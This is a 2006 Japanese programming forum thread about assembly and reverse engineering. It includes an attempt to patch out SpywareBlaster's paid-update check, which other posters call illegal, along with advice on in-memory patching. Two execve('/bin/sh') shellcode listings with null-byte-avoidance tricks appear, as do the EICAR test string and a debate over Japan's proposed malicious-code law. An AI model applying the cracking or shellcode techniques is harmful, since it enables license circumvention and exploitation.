0068754F |. 51 PUSH ECX
00687550 |. E8 5B850100 CALL spywareb.0069FAB0
00687555 |. 83C4 08 ADD ESP,8
00687558 |. 85C0 TEST EAX,EAX
0068755A |. 75 20 JNZ SHORT spywareb.0068757C
0068755C |. C705 A4616C00 >MOV DWORD PTR DS:[6C61A4],1
00687566 |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
00687569 |. 52 PUSH EDX
0068756A |. 68 7C5E6C00 PUSH spywareb.006C5E7C
0068756F |. E8 BC2D0100 CALL spywareb.0069A330
00687574 |. 83C4 08 ADD ESP,8
00687577 |. E9 77010000 JMP spywareb.006876F3
0068755A |. 75 20 いじったけど エラーで停止
CRCチェックが入っているのかな?
0868デフォルトの名無しさん
2006/05/10(水) 13:49:36どうでもいいが、それ改変していいやつか?
0869デフォルトの名無しさん
2006/05/10(水) 13:54:40個人で使用するので、問題ないです。
0870デフォルトの名無しさん
2006/05/10(水) 13:54:420871デフォルトの名無しさん
2006/05/10(水) 17:12:29これを解析→exepatchを作成するtoolを教えてください。
0872デフォルトの名無しさん
2006/05/10(水) 18:19:19死ねよ
氏ねじゃなくて死ね
0873デフォルトの名無しさん
2006/05/10(水) 18:55:290874デフォルトの名無しさん
2006/05/10(水) 19:26:18君にぴったりの参考書を紹介しよう
ttp://www.amazon.co.jp/exec/obidos/ASIN/4839912025/
これを読めば君も明日からスーパーハカーだ!
0875デフォルトの名無しさん
2006/05/10(水) 21:21:33テキトーに答えるけど、そういうときはオンメモリでパッチを適用すると良いよ。
グローバルフック等で侵入して、対象のコード領域をVirtualホゲホゲ系 API で
書き込み可能にして、メモリを書き換える。
0876デフォルトの名無しさん
2006/05/11(木) 02:31:08http://www.higaitaisaku.com/spywareblaster.html
>なお、自動アップデート機能もありますが、これを利用するためには年間US$9.95を支払う必要があります。
どうみても不正利用だろ。
>875
犯罪の片棒担いでんじゃねぇよ。
0877デフォルトの名無しさん
2006/05/11(木) 03:54:19桁上がりの表示などで手詰まり。ちなみにCP/M使用。
0878デフォルトの名無しさん
2006/05/11(木) 09:51:20俺が教師ならハネるが。
0879デフォルトの名無しさん
2006/05/11(木) 11:19:19>>863 は通報しますた
1000円ぐらい払えと。
0880デフォルトの名無しさん
2006/05/12(金) 20:12:28Z80ほとんど忘れてたからニモニック表探しちまったぜ。
こんな感じでどうだ? ていうか、なんで今時CP/M?
org 100h
start: ld c, 1
call 5
sub 30h
push af
ld c, 1
call 5
sub 30h
pop bc
add a, b
daa
push af
and 0F0h
ld hl, ans
jr z, skp1
ld a, 31h
ld (hl), a
skp1: inc hl
pop af
and 0Fh
add a, 30h
ld (hl), a
ld c, 9
ld de, str
jp 5
str: db 0Dh, 0Ah
ans: db ' 0', 0Dh, 0Ah, '$'
end start
0881デフォルトの名無しさん
2006/05/16(火) 00:45:42mov %al, 0x7(%esi)
の部分で何をやっているのか分かりません。
0を格納しているのは分かるのですが・・・
0882デフォルトの名無しさん
2006/05/16(火) 01:03:25この部分だけ見て0を格納しているのが分かるとは!
君はスーパーハカーだな!
0883デフォルトの名無しさん
2006/05/16(火) 01:20:45.globl main
main:
jmp L2
EX:
popl %esi
movl %esi, 0x8(%esi)
xorl %eax, %eax
movb %al, 0x7(%esi)
movl %eax, 0xc(%esi)
movb $0xb, %al
movl %esi, %ebx
leal 0x8(%esi), %ecx
leal 0xc(%esi), %edx
int $0x80
CA:
call L1
.string "/bin/sh"
0884デフォルトの名無しさん
2006/05/16(火) 01:42:000885デフォルトの名無しさん
2006/05/16(火) 15:59:47MOV BYTE PTR DS:[ESI+7], AL
こんな感じじゃないか?
0886デフォルトの名無しさん
2006/05/16(火) 16:44:01自分も学習途中ですが・・・
これ↓が分かって、
movl %eax, 0xc(%esi)
これ↓が分からない?
movb %al, 0x7(%esi)
ということは、これ↓がeaxをゼロにしていることが分からないってことかな?
xorl %eax, %eax
0887883
2006/05/16(火) 19:29:35あとはソフトウェア割り込みと言うか、execveの
システムコールなので分かります。
あと上のL2→CA、L1→EXです。
0888デフォルトの名無しさん
2006/05/16(火) 20:03:16教えてクンか貴様はw
.string "/bin/sh" の最後にヌル文字付加してるように見えるが。
gasの表記は知らんが、"/bin/sh\0"とかで代用できんジャネーノ?
0889デフォルトの名無しさん
2006/05/16(火) 20:57:50esi + 8からの4バイトを0にしているってのは理解している?
そのesi + 8をecxにいれてからint掛けているのは理解している?
0890デフォルトの名無しさん
2006/05/16(火) 21:05:430891デフォルトの名無しさん
2006/05/16(火) 21:52:56その聞き方じゃダメみたいですよ。
>>888
シェルコードだから0は使えない。
0892デフォルトの名無しさん
2006/05/16(火) 21:55:01888 が言っているように、/bin/sh の後には 0 が必要。
しかしシェルコードなので 0 は使えない。
よって xor eax, eax して作った 0 を、必要なトコに書き込んでいる。
0893883
2006/05/16(火) 22:47:16最初はダブルクオートで囲んでるが、ヌル文字は含まれてないのか
とか考えてたけど、そういう問題じゃないのね。
シェルコードなのにソースを貼ってしまったので、混乱と誤解を招きました。
ありがとうございました。
0894デフォルトの名無しさん
2006/05/17(水) 08:39:411. 努力を放棄すること
デバッガでトレースする等の努力をしていない。
2. 情報を開示しないこと
初出は「mov %al, 0x7(%esi)」の一行のみ。
その後もラベル名の隠蔽工作等。
3. 答える人間のことを考えないこと
そんな事は解りますとばかりに「なぜそこに0を格納するのかが分からないです」発言。
後は、
「何をやっているのか分かりません」
↓
「何をやっているのかさっぱり分かりません」
それと893のお礼が無ければ完璧、100点だよ。
0895デフォルトの名無しさん
2006/05/17(水) 13:11:37最初から書かれてるんだから、答えるクン側も>>892程度の
答えは即レスするべき。
ってのはともかくとして、shellcode zero をググッて出てくる
3番目のページにもっとhackっぽいやり方があった。
xorl %eax,%eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %eax
pushl %ebx
movl %esp, %ecx
xorl %edx, %edx
movb $0xb, %eax
int $0x80"
スタック上に "/bin/sh\0" を push してる。
0896デフォルトの名無しさん
2006/05/17(水) 20:09:53(゚Д゚)ハァ?
0897デフォルトの名無しさん
2006/05/17(水) 21:22:29漏れ何か変なこと言った・・・?
0898マイク ◆yrBrqfF1Ew
2006/05/18(木) 13:47:58アクセスしただけで感染?:(
ttp://www.adfka.com/j00064-psd225/jcp20536/index.htm
0899デフォルトの名無しさん
2006/05/18(木) 19:24:140900デフォルトの名無しさん
2006/05/19(金) 00:21:250901デフォルトの名無しさん
2006/05/19(金) 00:51:560902デフォルトの名無しさん
2006/05/19(金) 00:52:32変わるのはスレじゃなくて藻前さんだ
0903マイク ◆yrBrqfF1Ew
2006/05/19(金) 23:19:04まあ君には理解できないかもしれないがね。
0904デフォルトの名無しさん
2006/05/20(土) 19:10:25氏ね
0905デフォルトの名無しさん
2006/05/20(土) 20:06:390906・∀・)っ-○●◎
2006/05/20(土) 23:56:170907デフォルトの名無しさん
2006/05/21(日) 13:31:480908マイク ◆yrBrqfF1Ew
2006/05/21(日) 16:46:200909デフォルトの名無しさん
2006/05/21(日) 17:17:48いい加減にしてくれ
0910デフォルトの名無しさん
2006/05/21(日) 22:08:10dllを解析したらそれに埋め込まれてる自作関数の戻り値や
引数なんかもわかりますか?
0911デフォルトの名無しさん
2006/05/21(日) 22:12:410912デフォルトの名無しさん
2006/05/21(日) 22:14:27ヒント:Dependency Walker
0913デフォルトの名無しさん
2006/05/21(日) 22:15:47おまいら優しいな。・゚・(ノД`)・゚・。
0914・∀・)っ-○●◎
2006/05/21(日) 22:19:09あと、他の(C/C++以外の)言語から使うこと想定したDLLなら大概__stdcall規約だから。
あとはわかるよね?
0915デフォルトの名無しさん
2006/05/21(日) 22:38:410916デフォルトの名無しさん
2006/05/21(日) 23:24:01そうでないときはまあ、逆アセ読めば
0917デフォルトの名無しさん
2006/05/22(月) 11:23:210918VIPPER
2006/05/22(月) 12:19:04ネトゲのチートでもしてんの?
俺にもおしえてくれおー
0919デフォルトの名無しさん
2006/05/22(月) 12:59:23普通にプログラム書くだけだがそれがどうした?
強いてあげれば高級言語だと効率の悪そうな所だけって事が多いがな
0921デフォルトの名無しさん
2006/05/22(月) 14:14:32何のどういう動作をするチートだよ
市販ソフトはこっちで解析してチート作ると犯罪になるからやらねえよ
0922デフォルトの名無しさん
2006/05/23(火) 06:05:570923デフォルトの名無しさん
2006/05/23(火) 07:34:02単に解析するだけなら刑事犯にはならないけど、
解析結果を誰かが利用しちゃうと 不正競争防止法違反の共犯になるだろうね
0924デフォルトの名無しさん
2006/05/23(火) 07:47:070925デフォルトの名無しさん
2006/05/23(火) 09:07:240926デフォルトの名無しさん
2006/05/23(火) 10:59:170927デフォルトの名無しさん
2006/05/23(火) 11:59:230928デフォルトの名無しさん
2006/05/23(火) 12:09:26だから 不正競争防止法違反は最大5年以下の懲役 で、共謀罪にはならないかもしれない。
なお、現在の状態は、
共謀罪、今国会での成立目指す姿勢 杉浦法相 2006年05月20日22時05分
再修正案なければ共謀罪「採決を」 杉浦法相 2006年05月23日11時36分
0929デフォルトの名無しさん
2006/05/23(火) 12:48:53決着ついたのか?
0930デフォルトの名無しさん
2006/05/23(火) 14:35:24http://www.moj.go.jp/SHINGI/030324-2.html
不正指令電磁的記録等作成等の罪
人の使用する電子計算機についてその意図に沿うべき動作をさせず、
又はその意図に反する動作をさせる不正な指令に係る
というのが決まれば、ソフトの動きを変えるパッチを作る行為が罪になるので、残念
0931デフォルトの名無しさん
2006/05/23(火) 17:16:540932デフォルトの名無しさん
2006/05/23(火) 17:20:340933デフォルトの名無しさん
2006/05/23(火) 17:22:45意図に反する動作をさせる不正な指令がなくなりません。
0934デフォルトの名無しさん
2006/05/23(火) 17:36:410935デフォルトの名無しさん
2006/05/23(火) 17:38:170936デフォルトの名無しさん
2006/05/23(火) 17:50:24作成罪の共謀罪が成立したら>>920も逮捕だな
0937デフォルトの名無しさん
2006/05/23(火) 18:17:16人の使用するだから自分で望んで突っ込んだ場合は別にエエ様な気がする。
ここでは、ウイルスやらな希ガス。
0938デフォルトの名無しさん
2006/05/23(火) 18:23:180939デフォルトの名無しさん
2006/05/23(火) 18:29:30だから、自分が使うだけという言い訳は使えない
(不正指令電磁的記録作成等)
第 百六十八条の二
人の電子計算機における実行の用に供する目的で、 次に掲げる電磁的記録その他の記録を作成し
、又は提供した者は、三年以下の懲役又は五十万円以下の罰金に処する。
一 人が電子計算機を使用するに際してその意図に沿うべき動作をさせず、
又はその意図に反する動作をさせるべき不正な指令を与える電磁的記録
二 前号に掲げるもののほか、同号の不正な指令を記述した電磁的記録その他の記録
2 前項第一号に掲げる電磁的記録を人の電子計算機における実行の用に供した者も、同項と同様とする。
3 前項の罪の未遂は、罰する。
0940デフォルトの名無しさん
2006/05/23(火) 20:18:25他人から「1から10までの数の和を求めるプログラム」を作ってくれと言われて、
int sum = 0; for (int i = 1; i < 10; i++) sum+=i; printf("%d\n", sum);
てなプログラムを作成した時点で「不正指令電磁的記録作成等の罪」ですよ。
しかも「罰する」ときたもんだ。
0941デフォルトの名無しさん
2006/05/23(火) 20:26:17それでいい。
そんな馬鹿は罰せられていい。
0942デフォルトの名無しさん
2006/05/23(火) 20:46:160943デフォルトの名無しさん
2006/05/23(火) 20:49:030944デフォルトの名無しさん
2006/05/23(火) 21:57:07いや、でも「未遂」でも罰するってのは・・・
まぁ不動産屋みたいにソフトハウス等も
「ただし実際の動作と仕様書が違っていた場合は、実際の動作を優先します」
としなきゃダメだってことか。それで契約してくれるお客さんいるかな。
0945デフォルトの名無しさん
2006/05/23(火) 22:04:100946デフォルトの名無しさん
2006/05/23(火) 22:28:570947デフォルトの名無しさん
2006/05/23(火) 22:29:16http://www.moj.go.jp/HOUAN/KYOUBOUZAI/refer02.html
共謀罪は今国会で通すと杉浦法相はいきまいてるし、共謀罪とセットだから
共謀罪の方は修正されても、作成罪は誰も問題にしないないまま、そのまま通る可能性が高いぞ。
「その意図に沿うべき動作をさせず」 ではなくて
「その記録内容を破壊、改ざん、不正な複製、あるいは停止させ」るとか、もっと明確じゃないと、これは怖い事になるぞ
0948デフォルトの名無しさん
2006/05/23(火) 22:34:05人が電子計算機を使用するに際してその意図に沿うべき動作をさせず、
又はその意図に反する動作をさせるべき不正な指令を与える「ことを目的として」
と故意であることを条件にするべきだよな。
0949デフォルトの名無しさん
2006/05/23(火) 22:40:15(1)不正指令電磁的記録作成等(第168 条の2、第168 条の3 関係)について、正当な開発行為等
には適用されないことを明確にする。作成等罪の法定刑を不正アクセス罪の法定刑と同様にする。
これに伴い、取得等罪の法定刑も改める。
ということで、
「正当な理由がないのに、」
の文言追加を求めているね。
正当な理由というものまた曖昧な話だけれども、↑にあるような故意性だけだと脆弱性の検証PGを
作るのはやはり犯罪になってしまうから、このあたりが妥当なのか・・・
0950デフォルトの名無しさん
2006/05/23(火) 22:48:14↓次スレよろ
0951デフォルトの名無しさん
2006/05/23(火) 22:51:230952デフォルトの名無しさん
2006/05/24(水) 01:17:44アッー!
↓
0953デフォルトの名無しさん
2006/05/24(水) 01:44:41http://pc8.2ch.net/test/read.cgi/tech/1148402614/
0954デフォルトの名無しさん
2006/05/24(水) 03:08:04タイーホ?
0955デフォルトの名無しさん
2006/05/24(水) 04:57:250956デフォルトの名無しさん
2006/05/24(水) 10:36:18K安<故意であることを入れたらWinny作者みたいな奴(意図していない結果と主張)を挙げられないじゃないか
0957デフォルトの名無しさん
2006/05/24(水) 10:50:36というか、書いただけで逮捕って・・・・
0958デフォルトの名無しさん
2006/05/24(水) 15:11:37しっぽ降って動きまくるさ
0959デフォルトの名無しさん
2006/05/25(木) 00:17:010960デフォルトの名無しさん
2006/05/25(木) 00:30:590961デフォルトの名無しさん
2006/05/25(木) 01:36:020962デフォルトの名無しさん
2006/05/25(木) 01:52:500963デフォルトの名無しさん
2006/05/25(木) 02:09:040964デフォルトの名無しさん
2006/05/25(木) 07:11:070965デフォルトの名無しさん
2006/05/25(木) 16:52:00comファイルなら可能だけど。
0966デフォルトの名無しさん
2006/05/25(木) 17:02:34できるかどうかはしらんが。
0967デフォルトの名無しさん
2006/05/25(木) 17:38:27ローダーは必要
0968デフォルトの名無しさん
2006/05/25(木) 17:40:03有名どころではこんなの
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
comだけど
0969デフォルトの名無しさん
2006/05/25(木) 23:17:550970デフォルトの名無しさん
2006/05/26(金) 00:03:44エディタで「a.com」でセーブした瞬間にアンチウィルスソフトが
検出してしまい、エディタ本体のexeファイルが隔離されました orz...
0971デフォルトの名無しさん
2006/05/26(金) 10:23:100972デフォルトの名無しさん
2006/05/26(金) 15:27:05それ実用以前の話だと思うが・・・
0973デフォルトの名無しさん
2006/05/26(金) 15:41:24ワラタ
0974デフォルトの名無しさん
2006/05/26(金) 21:49:30まぁ、検出されないよりはマシだろう。
0975970
2006/05/26(金) 22:40:03NOD32って、赤くてギラギラするのでドキドキします
0976デフォルトの名無しさん
2006/05/27(土) 08:24:250977デフォルトの名無しさん
2006/05/27(土) 08:57:14似たようなのがどっかのスレにあがってたな
0978デフォルトの名無しさん
2006/05/27(土) 12:19:090979デフォルトの名無しさん
2006/05/27(土) 12:25:34shやbatで実行するとプログラムが作られるとか
そういうのはここの流れ的にOK?
0980デフォルトの名無しさん
2006/05/27(土) 13:58:31xdawinで逆汗したけど全部未定義命令として検出された。
0981デフォルトの名無しさん
2006/05/27(土) 14:01:360982デフォルトの名無しさん
2006/05/27(土) 14:10:400983デフォルトの名無しさん
2006/05/27(土) 14:18:470984デフォルトの名無しさん
2006/05/27(土) 14:28:190985デフォルトの名無しさん
2006/05/27(土) 14:40:590986デフォルトの名無しさん
2006/05/27(土) 14:57:11面倒。
0987デフォルトの名無しさん
2006/05/27(土) 15:02:300988デフォルトの名無しさん
2006/05/27(土) 15:05:230989デフォルトの名無しさん
2006/05/27(土) 15:11:50/NS
0990デフォルトの名無しさん
2006/05/27(土) 15:48:270991デフォルトの名無しさん
2006/05/27(土) 16:04:210992デフォルトの名無しさん
2006/05/27(土) 16:43:080993デフォルトの名無しさん
2006/05/27(土) 16:49:190994デフォルトの名無しさん
2006/05/27(土) 17:22:540995デフォルトの名無しさん
2006/05/27(土) 17:25:160996デフォルトの名無しさん
2006/05/27(土) 17:31:040997デフォルトの名無しさん
2006/05/27(土) 18:07:080998デフォルトの名無しさん
2006/05/27(土) 18:13:280999デフォルトの名無しさん
2006/05/27(土) 18:16:011000デフォルトの名無しさん
2006/05/27(土) 18:19:1810011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。